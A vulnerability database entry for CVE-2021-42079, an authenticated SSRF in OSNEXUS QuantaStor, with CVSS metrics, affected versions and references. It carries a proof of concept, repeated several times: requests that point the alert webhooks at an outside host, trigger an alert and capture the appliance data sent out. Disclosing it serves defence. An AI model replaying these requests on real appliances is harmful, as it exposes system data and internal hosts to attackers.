CVE-2021-42079

SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Published Jul 10, 2023 CVSS 3.1 · 6.2 Medium EPSS < 1% KEV · Not listed

Description

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1

Host: <HOSTNAME>
Accept-Encoding: gzip, deflate

Accept: */*
Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1

Host: <HOSTNAME>
Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this:
{

### Python FLASK stuff ####

'endpoint': 'index',

'method': 'POST',

'cookies': ImmutableMultiDict([]),

### END Python FLASK stuff ####

'data': b'{
"attachments": [
{

"fallback": "[122] test / test.",

"color": "#aa2222",

"title": "[122] test",

"text": "test",

"fields": [
{

"title": "Alert Severity",

"value": "CRITICAL",

"short": false
}, {
"title": "Appliance",
"value": "quantastor (https://<HOSTNAME>)",

"short": true

}, {

"title": "System / Driver / Kernel Ver",

"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",

"short": false

}, {

"title": "System Startup",

"value": "Fri Aug 6 16-02-55 2021",

"short": true

}, {

"title": "SSID",

"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",

"short": true

},
],

"footer": "QuantaStor Call-home Alert",

"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

"ts": 1628461774
}
],
"mrkdwn":true
}',
#### FLASK REQUEST STUFF #####

'headers': {

'Host': '<redacted>',
'User-Agent': 'curl/7.58.0',
'Accept': '*/*',
'Content-Type': 'application/json',
'Content-Length': '790'

},
'args': ImmutableMultiDict([]),
'form': ImmutableMultiDict([]),
'remote_addr': '217.103.63.173',
'path': '/payload/58',
'whois_ip': 'TNF-AS, NL'
}

#### END FLASK REQUEST STUFF #####

Affected Products

Default status is the baseline for the product, each version can override it (e.g. patched versions marked unaffected).

Vendor Product Default status Versions

OSNEXUS

QuantaStor

unknown

Version	Status	Constraints
`0`	affected	< 6.0.0.355

Configuration 1 [-]

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

No data.

No data available yet.

Remediation

Vendor Solution

Upgrade to the latest version of OSNEXUS QuantaStor.

Tracking

Advisories

Source	ID	Title
EUVD	EUVD-2021-29065	An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '/', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Metrics

No CVSS v4.0

Attack Vector Network

Attack Complexity Low

Privileges Required High

Scope Changed

Confidentiality Impact High

Integrity Impact None

Availability Impact None

User Interaction Required

No CVSS v3.0

No CVSS v2

This CVE is not in the KEV list.

Exploit prediction score: < 1% (0.694% probability within 30 days)

Exploitation none

Automatable no

Technical Impact partial

References

Link	Providers
https://cisrt.divd.nl/DIVD-2021-00020/
https://csirt.divd.nl/CVE-2021-42079
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus

History

Sep 22, 2025 6:45 AM Description updated View changes

Type	Values Removed	Values Added
Description	An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.	An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '/', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####